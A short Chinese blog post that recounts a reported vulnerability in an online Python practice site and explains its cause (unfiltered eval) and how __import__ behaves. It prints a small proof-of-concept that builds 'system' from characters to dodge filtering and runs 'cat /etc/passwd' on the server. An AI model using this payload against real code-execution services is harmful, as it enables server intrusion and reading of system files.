评论

收藏

[JavaScript] 有意思的python***案例

开发技术 开发技术 发布于:2021-06-23 22:27 | 阅读数:312 | 评论:0

  今天在wooyun里看到一个有意思的漏洞。说它有意思,第一是思路很特别,当然也是因为安全做的很low,第二里面使用的python的poc有个小细节,特此分享一下。
网站叫Fenby网,主要是为了pythoner在线学习的,它有一个在线练习的功能,可以输入代码,然后执行,测试运行结果。。。于是楼主就注册了一个账号,URL:http://www.fenby.com/course/units/xxxx 然后输入如下一段恶意代码:
import string
s = ["s","y","s","t","e","m"]
s = "".join(s)
cmd = "cat /etc/passwd"
code = "__import__('os')." + s + "('" + cmd + "')"
eval(code)
于是就这样了。。。 DSC0000.jpg 这里我想说两点,第一造成漏洞的原因是没有过滤eval,第二代码里使用的import和__import__的不同。import其实是调用的__import__但是如果直接写成 code = "__import__('package.module')",它的意思就不是说:import package.module as packageWhen the name variable is of the form package.module, normally, the top-level package (the name up till the first dot) is returned, not the module named by name.

关注下面的标签,发现更多相似文章